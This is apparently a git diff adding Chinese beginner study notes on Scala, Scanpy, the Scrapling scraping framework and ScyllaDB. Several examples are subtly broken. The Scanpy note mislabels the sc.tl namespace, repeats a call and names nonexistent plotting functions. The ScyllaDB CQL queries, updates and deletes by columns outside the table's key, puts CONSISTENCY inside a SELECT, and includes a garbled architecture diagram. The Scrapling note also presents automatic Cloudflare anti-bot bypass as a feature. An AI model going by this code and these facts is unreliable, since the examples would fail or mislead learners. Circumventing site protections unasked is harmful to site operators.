+
+### 7. Trait 与混入组合
+
+Scala 用 **trait** 实现接口 + 可选默认实现；**混入（mixin）** 在类定义时 `extends A with B with C`，避免 Java 单继承的僵硬。Scala 3 中 trait 可带参数，更接近「可配置模块」。
+
+### 8. 隐式与 `given`（Scala 3）
+
+Scala 2 的 **`implicit`** 可自动注入参数、类型类实例、转换，强大但易滥用。Scala 3 用 **`given` / `using`** 显式化「编译器代劳的上下文」，并配合 **extension methods** 为既有类型添加方法。
+
+典型用途：JSON 编解码（**circe**、**play-json**）、数据库行映射、类型类（type class）模式——与 Haskell 的 `TypeClass` 类似，但落在 JVM 上。
+
+### 9. 与 Java 互操作
+
+- Scala 调用 Java：Java 集合、注解、泛型擦除与 Scala 泛型需注意；Java 的 `null` 在 Scala 3 可用 **`Option`** 或实验性 **显式 null** 类型收紧。
+- Java 调用 Scala：伴生对象的 `static` 转发、默认参数由 **`@annotation`** 生成重载；避免在 Java 里依赖过于「Scala 味」的 API 表面。
+- 同一 sbt/Maven 模块可混放 `.scala` 与 `.java`。
+
+### 10. Scala 2 与 Scala 3
+
+| 维度 | Scala 2.13 | Scala 3（Dotty） |
+|------|------------|------------------|
+| 语法 | 广泛存量生态 | 简化 `given`、**enum**、**export**、**opaque type** |
+| 类型 | 隐式解析复杂 | 匹配类型、内联更统一 |
+| 迁移 | Spark 等仍支持 2.13 | 可用 **Scala 3 Migration Guide** 渐进升级 |
+
+入门建议：新项目优先 **Scala 3**；维护 Spark 2.x 作业可能仍停留在 2.12/2.13。
+
+## 代码示例一：表达式树求值（ADT + 模式匹配）
+
+下面实现一个简单的算术表达式树，展示 `enum`、`match` 与递归：
+
+```scala
+enum Expr:
+  case Num(value: Int)
+  case Add(left: Expr, right: Expr)
+  case Mul(left: Expr, right: Expr)
+
+def eval(e: Expr): Int = e match
+  case Expr.Num(v)       => v
+  case Expr.Add(l, r)    => eval(l) + eval(r)
+  case Expr.Mul(l, r)    => eval(l) * eval(r)
+
+@main def demo(): Unit =
+  // 表达式 (1 + 2) * 3
+  val tree = Expr.Mul(Expr.Add(Expr.Num(1), Expr.Num(2)), Expr.Num(3))
+  println(eval(tree))  // 9
+```
+
+要点：`match` 的每个分支既是分支又是解构；若漏掉 `Mul`，在 `sealed enum` 下编译器会提示非穷尽。这与 Java 17+ `switch` 模式、`instanceof` 相比，结构更清晰。
+
+## 代码示例二：不可变数据更新与集合管道
+
+模拟用户积分流水：用 `case class`、`copy` 与函数式链式处理：
+
+```scala
+case class User(id: Long, name: String, points: Int)
+
+case class Event(userId: Long, delta: Int)
+
+def applyEvents(users: Map[Long, User], events: List[Event]): Map[Long, User] =
+  events.foldLeft(users) { (acc, ev) =>
+    acc.get(ev.userId) match
+      case Some(u) =>
+        acc.updated(ev.userId, u.copy(points = u.points + ev.delta))
+      case None    => acc
+  }
+
+@main def ledger(): Unit =
+  val users = Map(
+    1L -> User(1, "Ada", 100),
+    2L -> User(2, "Grace", 50)
+  )
+  val events = List(
+    Event(1, 10),
+    Event(2, -5),
+    Event(1, 5)
+  )
+  val result = applyEvents(users, events)
+  println(result(1).points)  // 115
+  println(result(2).points)  // 45
+```
+
+要点：没有原地修改 `User`；`copy` 生成新实例，`foldLeft` 从左累积新 `Map`。在并发场景下，不可变结构更容易推理（仍需注意 `var` 与可变集合）。
+
+## 工具链与环境
+
+| 工具 | 用途 |
+|------|------|
+| **sbt** | 事实标准构建工具，`build.sbt` 声明依赖与 Scala 版本 |
+| **IntelliJ IDEA** + Scala 插件 | IDE 支持、调试、重构 |
+| **Metals** | VS Code / Cursor 的 Scala 语言服务 |
+| **scalac** / **scala-cli** | 命令行编译；`scala-cli` 适合脚本与单文件实验 |
+| **[docs.scala-lang.org](https://docs.scala-lang.org/)** | 官方文档、Tour of Scala、Scala 3 Book |
+| **Scalafmt** / **WartRemover** | 格式化与 lint |
+
+快速体验（需安装 [scala-cli](https://scala-cli.virtuslab.org/) 与 JDK 17+）：
+
+```bash
+scala-cli repl
+# 或
+scala-cli run MyApp.scala
+```
+
+sbt 最小项目：
+
+```bash
+sbt new scala/scala3.g8
+cd <project>
+sbt run
+```
+
+## 学习路径建议
+
+1. **语法基础**：官方 [Tour of Scala](https://docs.scala-lang.org/tour/tour-of-scala.html) — `val`/`var`、函数、类、trait、`object`。
+2. **函数式习惯**：不可变集合、`map`/`flatMap`/`fold`、`Option`/`Either` 代替 `null` 与异常控制流。
+3. **ADT 与 `match`**：[Scala 3 Book — ADT](https://docs.scala-lang.org/scala3/book/types-adts.html)，用 `enum` 建模业务状态机。
+4. **选方向深入**：
+   - 大数据 → Apache Spark（Dataset API、Spark SQL）
+   - 并发 → Pekko Actor、ZIO、Cats Effect
+   - Web → Play Framework、http4s、Tapir
+   - 类型级编程 → Shapeless、Scala 3 `inline` / `Mirror`（进阶）
+
+与专题笔记 [[openjdk]] 对照：Scala 编译为 `.class` 后仍由 **HotSpot** JIT 与 **GC** 管理；换的是 **抽象能力与组合方式**。与 [[kotlin]] 对比：两者都瞄准 JVM 现代语法，Scala 更强调 **FP + 类型类 + 隐式（given）**，Kotlin 更强调 **空安全 + 协程 + Android 官方支持**。
+
+## 常见误区
+
+- **「Scala 语法太复杂，没法读」** — 团队应约定子集（如禁用过于炫技的隐式）；业务代码可保持与 Kotlin 相近的简洁度。
+- **「学完 Scala 就不用学 Java」** — 读 Hadoop/Spark 周边、Spring 老项目、Maven 插件仍需要 Java 底子。
+- **到处用 `var` 和 `mutable`** — 失去不可变带来的可维护性；仅在性能热点或互操作处使用可变。
+- **Scala 2 与 3 混用不查版本** — 依赖库需对齐 `%%` artifact 的 Scala 二进制版本（如 `_3` 后缀）。
+- **把 Spark 当成语言本身** — Spark 是分布式计算框架；Scala 是编写 Driver/Executor 逻辑的语言之一（另有 PySpark、SparkR）。
+
+## 延伸阅读
+
+- 官方仓库：[github.com/scala/scala](https://github.com/scala/scala)
+- Scala 3 新特性：[What's new in Scala 3](https://docs.scala-lang.org/scala3/new-in-scala3.html)
+- Java 开发者视角：[Scala for Java Developers](https://docs.scala-lang.org/scala3/book/scala-for-java-devs.html)
+- 设计哲学（Martin Odersky）：[Unifying FP and OO with Scala](https://cacm.acm.org/research/unifying-functional-and-object-oriented-programming-with-scala/)（CACM）
+- 本库相关笔记：[[openjdk]]（JVM 底座）、[[kotlin]]（另一 JVM 现代语言）、[[apache-spark]]（若已收录 Spark 生态）
diff --git a/src/content/docs/projects/scanpy.md b/src/content/docs/projects/scanpy.md
new file mode 100644
index 000000000..6f8fdee1c
--- /dev/null
+++ b/src/content/docs/projects/scanpy.md
@@ -0,0 +1,143 @@
+---
+title: Scanpy 零基础入门笔记
+来源: https://github.com/scverse/scanpy
+日期: 2026-06-13
+分类: 机器学习
+子分类: 生物信息
+provenance: pipeline-v3
+---
+
+# Scanpy 零基础入门笔记
+
+## 一、Scanpy 是什么？
+
+想象你手里有一张巨大的表格：每一行代表一个细胞，每一列代表一个基因，表格里填的是每个细胞里这个基因的表达量（可以理解为"这个基因在这个细胞里有多活跃"）。
+
+单细胞测序技术（scRNA-seq）就是这样一张表——但它可能大到离谱。比如一个样本就有 100 万个细胞、3 万多个基因，表格总共有 300 亿个格子。
+
+Scanpy 就是专门用来处理这种超大表格的 Python 工具库。它的名字来源于 "Single-cell Analysis in Python"。
+
+核心特点：
+- 能处理超过 1 亿个细胞的数据
+- 包含数据预处理、可视化、聚类、轨迹推断、差异表达分析等全套流程
+- 与 AnnData 数据结构深度集成
+
+## 二、核心概念
+
+### 1. AnnData 对象 —— Scanpy 的心脏
+
+AnnData 是一个专门盛放单细胞数据的"智能盒子"。它不只是存数字，还附带了很多信息：
+
+- `.X`：基因表达矩阵（细胞 x 基因的数字表格）
+- `.obs`：细胞的属性（比如"这是 T 细胞"、"来自哪个病人"）
+- `.var`：基因的属性（比如"这是线粒体基因"、"这是高度可变基因"）
+- `.layers`：原始数据和预处理后的数据可以分别存放
+
+类比：AnnData 就像一个快递盒，`.X` 是里面的商品，`.obs` 是收件人信息，`.var` 是商品标签，`.layers` 是盒子里的分隔层。
+
+### 2. 标准分析流程
+
+一个典型的 Scanpy 分析流程分几步：
+
+1. **读取数据**：把原始测序数据导入 AnnData 对象
+2. **质量控制**：过滤掉质量差的细胞（比如基因数太少的）
+3. **标准化**：让不同细胞之间的数据可比
+4. **挑选高变基因**：找出最能区分不同细胞的基因
+5. **降维**：用 PCA 把几万个基因压缩成几十个主成分
+6. **构建邻域图**：计算细胞之间的相似度
+7. **聚类**：把相似的细胞分到同一组
+8. **可视化**：用 UMAP 把高维数据画到二维图上
+9. **注释细胞类型**：根据标记基因给每个簇命名
+
+### 3. Scanpy 的命名空间
+
+Scanpy 用前缀来区分不同功能：
+
+- `sc.pp.*`：预处理（preprocessing），如过滤、标准化
+- `sc.tl.*`：拓扑/留数（topology/leiden），如聚类、轨迹推断
+- `sc.pl.*`：绘图（plotting），如 UMAP、热图
+
+## 三、代码示例
+
+### 示例 1：加载数据、质控、标准化
+
+```python
+import scanpy as sc
+
+# 读取 10x Genomics 的 h5 文件
+adata = sc.read_10x_h5("filtered_feature_bc_matrix.h5")
+
+print(f"数据形状: {adata.n_obs} 个细胞 x {adata.n_vars} 个基因")
+
+# 标记线粒体基因（线粒体基因比例过高说明细胞可能快死了）
+adata.var["mt"] = adata.var_names.str.startswith("MT-")
+
+# 计算质控指标：每个细胞的基因数、总计数、线粒体基因占比
+sc.pp.calculate_qc_metrics(adata, qc_vars=["mt"], log1p=True)
+
+# 过滤：去掉基因数少于 200 的细胞，去掉只在少于 3 个细胞中出现的基因
+sc.pp.filter_cells(adata, min_genes=200)
+sc.pp.filter_genes(adata, min_cells=3)
+
+print(f"过滤后: {adata.n_obs} 个细胞 x {adata.n_vars} 个基因")
+
+# 保存原始计数，然后做标准化 + log 转换
+adata.layers["counts"] = adata.X.copy()
+sc.pp.normalize_total(adata)  # 按细胞总读数标准化
+sc.pp.log1p(adata)            # log(1 + x) 转换，压低极端值
+```
+
+### 示例 2：完整分析流程——从降维到聚类到可视化
+
+```python
+import scanpy as sc
+
+# 挑选 2000 个高度可变的基因（这些基因最能区分不同细胞类型）
+sc.pp.highly_variable_genes(adata, n_top_genes=2000)
+
+# PCA 降维：把 2000 个基因压缩到 50 个主成分
+sc.pp.highly_variable_genes(adata, n_top_genes=2000, batch_key="batch")
+sc.tl.pca(adata, n_comps=50)
+
+# 基于 PCA 结果构建细胞邻域图
+sc.pp.neighbors(adata, n_neighbors=15, n_pcs=30)
+
+# UMAP 降维到二维，方便画图
+sc.tl.umap(adata)
+
+# Leiden 聚类算法：把相似的细胞分到同一簇
+sc.tl.leiden(adata, resolution=0.5)
+
+# 画 UMAP 图，按聚类结果着色
+sc.pl.umap(adata, color=["leiden"], title="Leiden Clusters")
+
+# 画 UMAP 图，按某个基因的表达量着色（比如 marker 基因 CD3D）
+sc.pl.umap(adata, color=["CD3D"], title="CD3D Expression")
+```
+
+## 四、常用可视化函数速查
+
+| 函数 | 用途 |
+|------|------|
+| `sc.pl.umap()` | 二维 UMAP 散点图，可按任意属性着色 |
+| `sc.pl.violin()` | 小提琴图，展示某个指标在不同组间的分布 |
+| `sc.pl.dotplot()` | 点图，展示多个标记基因在多个簇中的表达 |
+| `sc.pl_heatmap()` | 热图，展示一组基因在各细胞中的表达模式 |
+| `sc.pl.rank_genes_groupsheatmap()` | 差异基因的分组热图 |
+| `sc.pl.pca_variance_ratio()` | PCA 方差比率图，帮助选择主成分数量 |
+
+## 五、Scanpy 在 scverse 生态中的位置
+
+Scanpy 不是一个孤立的工具，它是 scverse 生态的核心组件之一：
+
+- **anndata**：提供 AnnData 数据结构，Scanpy 和所有 scverse 工具共用
+- **squidpy**：Scanpy 的空间转录图扩展，处理空间单细胞数据
+- **muon**：多模态单细胞数据分析（同时分析 RNA + 染色质开放性等）
+- **scvi-tools**：基于深度学习的单细胞数据分析
+
+## 六、学习建议
+
+1. 先从官方教程 [Preprocessing and clustering](https://scanpy.readthedocs.io/en/stable/tutorials/basics/clustering.html) 动手跑一遍
+2. 理解 AnnData 的结构比记住每个函数更重要——数据结构搞清楚了，函数只是调用方式的问题
+3. 遇到报错时，先用 `print(adata)` 看看当前对象长什么样，这能帮你定位问题
+4. Scanpy 的文档非常完善，API 参考页面可以直接搜索需要的函数
diff --git a/src/content/docs/projects/scikit-learn.md b/src/content/docs/projects/scikit-learn.md
index 99f434bcd..e9bd6e2f9 100644
--- a/src/content/docs/projects/scikit-learn.md
+++ b/src/content/docs/projects/scikit-learn.md
@@ -157,6 +157,7 @@ pipe.score(X_test, y_test)
 
 - [[dask]] —— Dask — 让 pandas / NumPy 直接跑在比内存大的数据上
 - [[fastai]] —— fastai — 三行代码做迁移学习
+- [[jupyter-notebook]] —— Jupyter Notebook — 经典数据科学笔记本
 - [[librosa]] —— librosa — Python 音频分析库与 MFCC/STFT 事实标准
 - [[matplotlib]] —— matplotlib — Python 绘图基石
 - [[numpy]] —— NumPy — Python 科学计算基石
diff --git a/src/content/docs/projects/scrapling.md b/src/content/docs/projects/scrapling.md
new file mode 100644
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+---
+title: D4Vinci/Scrapling — 自适应网页爬虫框架
+来源: https://github.com/D4Vinci/Scrapling
+日期: 2026-06-13
+分类: 后端 API
+子分类: Web 后端
+provenance: pipeline-v3
+---
+
+# D4Vinci/Scrapling — 自适应网页爬虫框架
+
+## 什么是 Scrapling？（从日常类比开始）
+
+想象你要从书店里抄录所有"Python"相关书籍的标题和价格。
+
+最简单的做法：你走进书店，一本一本地看、抄。这叫 **HTTP 请求** —— 你让程序直接告诉服务器"给我网页"，服务器把 HTML 整页返回，你从一堆标签里挑出想要的文字。
+
+但如果书店突然把书架搬到了二楼，原来的标签位置全变了，你的记录就全废了。Scrapling 的厉害之处在于：它有一个"自适应"的能力，即使书架位置变了，它也能自动找到新书的位置。这就像你记得的是"从收银台往右数第三排"而不是"A区5号架子"，不管书架怎么挪，你都能找到。
+
+Scrapling 是一个 Python 网页爬虫框架，核心卖点就三个：
+
+- **自适应爬取**：网站改版后，它还能找到你要的数据
+- **反反爬**：内置隐身模式，能绕过 Cloudflare 等防护
+- **一站式**：从单次抓取到大规模爬虫，一个库搞定
+
+GitHub 上 6 万多星，是目前最火的 Python 爬虫库之一。
+
+## 安装
+
+```bash
+pip install scrapling
+pip install "scrapling[fetchers]"       # 如果需要浏览器抓取
+pip install "scrapling[all]"            # 安装全部功能
+scrapling install                       # 安装浏览器依赖
+```
+
+> 注意：`pip install scrapling` 只装解析引擎，如果要抓取网页需要额外安装 fetchers。
+
+## 核心概念
+
+### 1. 三种 Fetcher（抓取器）
+
+Scrapling 提供了三种获取网页的方式，从快到慢：
+
+| Fetcher | 速度 | 用途 |
+|---------|------|------|
+| `Fetcher` | 最快 | 普通 HTTP 请求，适合静态页面 |
+| `DynamicFetcher` | 中等 | 模拟浏览器，适合需要 JavaScript 渲染的页面 |
+| `StealthyFetcher` | 较慢 | 隐身模式，绕过反爬系统 |
+
+### 2. 选择器（Selection）
+
+拿到网页后，你需要从中提取数据。Scrapling 支持四种方式：
+
+- **CSS 选择器**：`.quote .text` —— 像写 CSS 一样找元素
+- **XPath**：`//span[@class="text"]/text()` —— 更强大的路径表达式
+- **文本搜索**：`find_by_text("hello")` —— 按文字内容找
+- **BeautifulSoup 风格**：`find_all('div', class_='quote')` —— 熟悉的用法
+
+### 3. 自适应追踪（Adaptive Tracking）
+
+这是 Scrapling 最核心的创新。当你用 CSS 选择器找到某个元素后，Scrapling 会保存它的"特征"。如果网站改版、类名变了，下次你传入 `adaptive=True`，Scrapling 会用相似度算法自动定位到新位置。
+
+类比：你第一次找到了"张三"，记住了他戴红帽子。后来张三换了蓝帽子，你仍然能找到他。
+
+### 4. Spider（爬虫）框架
+
+Scrapling 提供了一个类似 Scrapy 的爬虫框架，支持并发、暂停恢复、流式输出等高级功能。
+
+## 代码示例
+
+### 示例 1：基础抓取 —— 从一句话语录网站提取数据
+
+假设你要从 quotes.toscrape.com 抓取所有名言和作者：
+
+```python
+from scrapling.fetchers import Fetcher
+
+# 第一步：获取网页
+page = Fetcher.get('https://quotes.toscrape.com/')
+
+# 第二步：用 CSS 选择器提取数据
+# ::text 表示提取标签内的文字内容（类似 Scrapy 的语法）
+quotes = page.css('.quote .text::text').getall()
+authors = page.css('.quote .author::text').getall()
+
+# 第三步：组合数据
+for quote, author in zip(quotes, authors):
+    print(f'"{quote}" — {author}')
+```
+
+这里的关键是 `css()` 方法返回的对象支持链式调用，你可以连续筛选：
+
+```python
+# 先找到所有 quote 容器
+quotes = page.css('.quote')
+# 从第一个 quote 里再找 text
+first_quote_text = quotes[0].css('.text::text').get()
+```
+
+### 示例 2：隐身模式抓取 —— 绕过 Cloudflare 防护
+
+有些网站有 Cloudflare 保护，普通请求会被拦截。用 `StealthyFetcher`：
+
+```python
+from scrapling.fetchers import StealthyFetcher
+
+# 设置 adaptive=True，让 Scrapling 自动学习网页结构
+page = StealthyFetcher.fetch(
+    'https://quotes.toscrape.com/',
+    headless=True,          # 无头浏览器模式（不弹出窗口）
+    network_idle=True,      # 等待网络请求空闲后再获取
+    solve_cloudflare=True,  # 自动处理 Cloudflare 验证
+)
+
+# 提取数据，即使网站改版也能自适应定位
+quotes = page.css('.quote', adaptive=True)
+for q in quotes:
+    print(q.css('.text::text').get(), q.css('.author::text').get())
+```
+
+> 核心要点：`adaptive=True` 是精髓。第一次爬取时 Scrapling 会记录元素的特征，以后即使类名 `.quote` 变成 `.item` 之类的，它也能找到。
+
+### 示例 3：编写一个完整爬虫（Spider）
+
+```python
+from scrapling.spiders import Spider, Response
+
+class QuotesSpider(Spider):
+    name = "quotes"                       # 爬虫名称
+    start_urls = ["https://quotes.toscrape.com/"]  # 起始 URL
+    concurrent_requests = 10              # 并发数
+
+    async def parse(self, response: Response):
+        # 遍历每条名言
+        for quote in response.css('.quote'):
+            yield {
+                "text": quote.css('.text::text').get(),
+                "author": quote.css('.author::text').get(),
+            }
+
+        # 自动追踪"下一页"按钮
+        next_page = response.css('.next a')
+        if next_page:
+            yield response.follow(next_page[0].attrib['href'])
+
+# 启动爬虫
+result = QuotesSpider().start()
+print(f"共抓取 {len(result.items)} 条名言")
+
+# 导出为 JSON
+result.items.to_json("quotes.json")
+```
+
+运行后，所有名言会被自动保存到 `quotes.json` 文件中。如果想暂停，按 `Ctrl+C`，下次从同一目录启动会自动恢复。
+
+## 为什么比 BeautifulSoup 快？
+
+下面是 Scrapling 官方提供的性能对比（提取 5000 个嵌套元素）：
+
+| 库 | 耗时（毫秒） | 相对速度 |
+|----|------------|---------|
+| Scrapling | 2.02 | 1x |
+| BS4 + Lxml | 1584.31 | 784x 慢 |
+| BS4 + html5lib | 3391.91 | 1679x 慢 |
+
+Scrapling 底层基于 Lxml，速度极快，而且内存占用更低。
+
+## 关键概念总结
+
+- **Fetcher**：获取网页的工具，有三种模式可选
+- **Selector（选择器）**：从 HTML 中提取数据的方式，支持 CSS、XPath、文本搜索等
+- **Adaptive（自适应）**：网站改版后自动定位元素，这是 Scrapling 的最大特色
+- **Spider**：完整的爬虫框架，支持并发、暂停恢复、流式输出
+- **Stealth（隐身）**：内置反反爬能力，能绕过 Cloudflare
+
+## 下一步
+
+如果你想继续深入，可以看看：
+
+- 官方文档：https://scrapling.readthedocs.io/
+- 交互式 Shell：运行 `scrapling shell` 直接进入爬取环境
+- CLI 命令：`scrapling extract get 'https://example.com' output.md` 一行命令就能抓取
diff --git a/src/content/docs/projects/scylladb.md b/src/content/docs/projects/scylladb.md
new file mode 100644
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@@ -0,0 +1,258 @@
+---
+title: "ScyllaDB — C++ 高性能 NoSQL 数据库学习笔记"
+来源: https://github.com/scylladb/scylladb
+日期: 2026-06-13
+分类: 数据库
+子分类: databases-storage
+provenance: pipeline-v3
+---
+
+# ScyllaDB — C++ 高性能 NoSQL 数据库学习笔记
+
+## 一、ScyllaDB 是什么？（日常类比）
+
+先忘掉数据库这些术语。想象你开了一家连锁外卖店：
+
+- **传统数据库**就像每家店各自管账，客人多了每个厨师手忙脚乱，最后只能靠加钱雇更多人（买更贵的机器）来解决。
+- **ScyllaDB** 的做法是：每家店只有一个厨师（CPU 核），但这个厨师极其高效，手不歇脚地干活。然后你开了 64 家店（64 核），每家的厨师互相不认识、互不干扰，各自管自己的一片区域。客人多的时候，直接开新店就好。
+
+这就是 ScyllaDB 的核心设计思想：**共享 nothing（shared-nothing）** — 每个 CPU 核独立工作，不需要互相让位，也不需要复杂的锁机制来协调。
+
+## 二、为什么用 C++ 重写？
+
+ScyllaDB 的前身是 Apache Cassandra（用 Java 写的）。Java 有垃圾回收（GC）—— 想象厨师每隔一段时间就得停下来打扫卫生，扫干净了才能继续炒菜。这会导致请求响应出现"卡顿"。
+
+ScyllaDB 用 C++ 从零重写，最大的好处就是**没有垃圾回收停顿**——厨师不用停工打扫，一直在炒菜。
+
+| 特性 | Apache Cassandra (Java) | ScyllaDB (C++) |
+|------|------------------------|-----------------|
+| 语言 | Java | C++23 |
+| 垃圾回收 | 有 GC 停顿 | 无 GC，手动内存管理 |
+| 延迟 | 几十到几百毫秒 | 亚毫秒级（<1ms） |
+| 吞吐量 | 万级 ops/s | 百万级 ops/s |
+| 线程模型 | 多线程共享 | 单线程 per core（Seastar） |
+
+## 三、核心概念
+
+### 3.1 Seastar 框架
+
+ScyllaDB 运行在 **Seastar** 这个 C++ 异步框架上。可以把 Seastar 想象成一个"超级调度员"：
+
+- 它让每个 CPU 核上跑一个独立的"事件循环"
+- 每个事件循环只处理分配给那个核的数据
+- 核与核之间通过"发邮件"（消息传递）通信，而不是共享内存
+
+这就像一家餐厅，每个厨师只管自己那几桌客人，不抢对方的锅铲，也不等对方。
+
+### 3.2 Ring 架构（环架构）
+
+ScyllaDB 的多个节点组成一个"环"（Ring），数据按照**分区键（Partition Key）**均匀分布到环上的不同节点。
+
+想象一个圆形桌子，座位按颜色编号。客人来了，系统用一张"哈希表"算出客人应该坐哪个编号的座位，然后直接把数据存到对应编号的节点上。不需要问"谁有空间"。
+
+### 3.3 Raft 一致性
+
+ScyllaDB 用 **Raft 共识算法**管理集群元数据（比如新增节点、扩缩容）。Raft 保证即使某个节点挂了，数据也不会丢失，而且集群能自动选出新的"组长"继续工作。
+
+### 3.4 数据分布：Token 与 Tablet
+
+- **Token**：每个节点在 Ring 上都有一个"领地范围"，数据根据分区键的哈希值落入对应的领地
+- **Tablet**（较新版本）：ScyllaDB 引入的概念，把每个节点的领地进一步拆分成更小的"分片"，让数据分布更均匀，扩容更灵活
+
+## 四、数据模型与 CQL
+
+ScyllaDB 兼容 **Apache Cassandra Query Language (CQL)**，和 Cassandra 的查询语法基本一样。
+
+### 关键概念
+
+- **Keyspace**：相当于关系型数据库中的"数据库（database）"
+- **Table**：表，由列组成
+- **Primary Key**：主键，分区键（Partition Key）+ 聚类列（Clustering Columns）
+- **TTL（Time to Live）**：数据自动过期时间
+- **一致性级别（Consistency Level）**：读/写操作的确认要求（QUORUM、ONE、ALL 等）
+
+## 五、代码示例
+
+### 示例 1：创建 Keyspace 和表，插入数据
+
+```cql
+-- 1. 创建键空间（相当于数据库），复制因子为 3
+CREATE KEYSPACE IF NOT EXISTS food_delivery
+WITH REPLICATION = {
+  'class' : 'SimpleStrategy',
+  'replication_factor' : 3
+};
+
+-- 2. 切换到这个键空间
+USE food_delivery;
+
+-- 3. 创建订单表
+-- 分区键：city（城市），聚类列：order_time（下单时间）
+CREATE TABLE IF NOT EXISTS orders (
+  order_id UUID PRIMARY KEY,
+  city text,
+  customer_name text,
+  order_time timestamp,
+  total_amount decimal,
+  status text
+);
+
+-- 4. 插入一条订单数据
+INSERT INTO orders
+  (order_id, city, customer_name, order_time, total_amount, status)
+VALUES
+  (uuid(), '上海', '张三', toTimestamp(now()), 88.50, '已完成');
+
+-- 5. 再插入几条
+INSERT INTO orders
+  (order_id, city, customer_name, order_time, total_amount, status)
+VALUES
+  (uuid(), '上海', '李四', toTimestamp(now()), 126.00, '配送中');
+
+INSERT INTO orders
+  (order_id, city, customer_name, order_time, total_amount, status)
+VALUES
+  (uuid(), '北京', '王五', toTimestamp(now()), 52.00, '已完成');
+```
+
+**类比理解**：`CREATE KEYSPACE` 就像开了一家连锁品牌；`CREATE TABLE` 就像设计了一张订单录入单；`INSERT` 就是往单子上填写信息。
+
+### 示例 2：查询、过滤、带 TTL 的数据写入
+
+```cql
+-- 6. 查询上海的所有订单（按 order_time 排序）
+SELECT order_id, customer_name, order_time, total_amount, status
+FROM orders
+WHERE city = '上海'
+ORDER BY order_time DESC;
+
+-- 7. 按一致性级别查询（QUORUM = 多数节点确认）
+-- 读取时确保至少有 (3/2)+1 = 2 个节点返回数据
+SELECT * FROM orders
+WHERE city = '北京'
+  AND customer_name = '王五'
+CONSISTENCY QUORUM;
+
+-- 8. 插入带 TTL（过期时间）的数据
+-- 3600 秒（1 小时）后这条记录自动删除
+INSERT INTO orders
+  (order_id, city, customer_name, order_time, total_amount, status)
+VALUES
+  (uuid(), '上海', '赵六', toTimestamp(now()), 68.00, '待处理')
+USING TTL 3600;
+
+-- 9. 更新已有记录
+UPDATE orders
+SET status = '已完成'
+WHERE city = '上海'
+  AND customer_name = '李四'
+  AND order_time = '2026-06-13 15:30:00';
+
+-- 10. 删除记录
+DELETE FROM orders
+WHERE city = '上海'
+  AND customer_name = '赵六'
+  AND order_time = '2026-06-13 15:35:00';
+
+-- 11. 批量删除过期数据（使用 TTL 配合）
+-- ScyllaDB 的 compaction 机制会自动清理过期的 SSTable 文件
+```
+
+**类比理解**：`WHERE city = '上海'` 就像在订单堆里抽出来"所有上海的"；`USING TTL` 就像给外卖小票写了个"1小时后自动销毁"；`UPDATE` 就是给小票上画个叉改个状态。
+
+### 示例 3：二级索引与高性能查询优化
+
+```cql
+-- 12. 在 customer_name 列上建二级索引
+CREATE INDEX ON orders (customer_name);
+
+-- 13. 利用索引查询
+SELECT * FROM orders WHERE customer_name = '张三';
+
+-- 14. 注意：在分布式数据库中，WHERE 条件里的列如果不是
+--    分区键或聚类列，查询效率会很差。
+--    所以最好的做法是：建一张新表，按查询方式重新设计。
+
+-- 15. 为"按顾客查订单"建一张专门的表（查询模式驱动设计）
+CREATE TABLE orders_by_customer (
+  customer_name text,
+  order_id UUID,
+  city text,
+  order_time timestamp,
+  total_amount decimal,
+  status text,
+  PRIMARY KEY (customer_name, order_time)
+);
+
+-- 16. 现在查询非常快，因为 customer_name 就是分区键
+INSERT INTO orders_by_customer
+  (customer_name, order_id, city, order_time, total_amount, status)
+VALUES
+  ('张三', uuid(), '上海', toTimestamp(now()), 88.50, '已完成');
+
+SELECT * FROM orders_by_customer
+WHERE customer_name = '张三'
+ORDER BY order_time DESC;
+```
+
+**类比理解**：二级索引就像给订单加了个"姓名目录"，但每次都翻目录很慢。更好的做法是准备一摞按姓名分好的文件夹（新表），直接抽出来看。这就是 NoSQL 的核心思维——**先想好你要怎么查，再决定怎么存**。
+
+## 六、ScyllaDB 的独特优势
+
+### 6.1 Alternator（DynamoDB 兼容）
+
+ScyllaDB 除了兼容 Cassandra（CQL），还内置了对标 Amazon DynamoDB 的 API（叫 **Alternator**）。这意味着同一个 ScyllaDB 集群，既可以给用 CQL 的应用用，也可以给用 DynamoDB SDK 的应用用，两者互不冲突。
+
+### 6.2 CDC（变更数据捕获）
+
+ScyllaDB 支持 CDC 功能，记录每张表的数据变更。就像给订单系统装了一个"监控摄像头"，每次下单、修改、删除都会被记录下来。下游系统可以实时消费这些变更记录，做数据分析或消息推送。
+
+### 6.3 向量搜索
+
+从 2024.x 版本开始，ScyllaDB 内置了向量搜索能力。可以在数据库里直接存储和搜索向量（vector），用于 AI/ML 场景。不需要再额外部署一个专门的向量数据库。
+
+## 七、架构总结图
+
+```
+                    应用层（CQL / Alternator API）
+                          |
+    ┌─────────────────────┼─────────────────────┐
+    │         一致性层（Quorum / Raft）          │
+    └─────────────────────┼─────────────────────┘
+                          |
+    ┌─────────────────────┼─────────────────────┐
+    │     节点 1 (CPU 0)     │     节点 2 (CPU 0)    │     节点 3 (CPU 0)
+    │   ┌───────────────┐   │   ┌───────────────┐   │
+    │   │  Shard 0      │   │   │  Shard 0      │   │   │
+    │   │  Shard 1      │   │   │  Shard 0      │   │   │  Ring 环上
+    │   │  Shard 2      │   │   │  Shard 1      │   │   │  数据分片
+    │   │  ...          │   │   │  ...          │   │   │
+    │   │  Shard N      │   │   │  Shard N      │   │   │
+    │   └───────────────┘   │   └───────────────┘   │   │
+    └─────────────────────┬─┼─────────────────────┬─┼─────────────────────┘
+                          │                         │
+                    持久化层（SSTable + Commit Log + WBL）
+```
+
+每个节点上有多个 **Shard（分片）**，每个分片跑在独立 CPU 核上。数据按分区键分布在 Ring 的不同节点和不同 Shard 之间。
+
+## 八、小结
+
+| 维度 | ScyllaDB |
+|------|----------|
+| 定位 | 高性能分布式 NoSQL 数据库 |
+| 语言 | C++23 + Seastar 异步框架 |
+| API 兼容 | Cassandra (CQL) + DynamoDB (Alternator) |
+| 性能特点 | 亚毫秒延迟、百万级吞吐、无 GC 停顿 |
+| 数据分布 | Ring 架构 + Token / Tablet |
+| 一致性 | Raft 元数据管理 + CQL 一致性级别 |
+| 适用场景 | 海量写入 + 低延迟读、物联网、交易记录、实时分析 |
+
+学 ScyllaDB 最大的思维转变是从"关系型数据库怎么设计表"切换到"我的查询模式是什么，数据应该怎么存来最快查出来"。NoSQL 的设计哲学是：**查询驱动存储（Query-Driven Storage）**——先想清楚怎么查，再决定怎么存。
+
+## 参考资料
+
+- GitHub: https://github.com/scylladb/scylladb
+- 官方文档: https://docs.scylladb.com/
+- ScyllaDB University: https://university.scylladb.com/
+- Seastar 框架: http://docs.seastar.io/
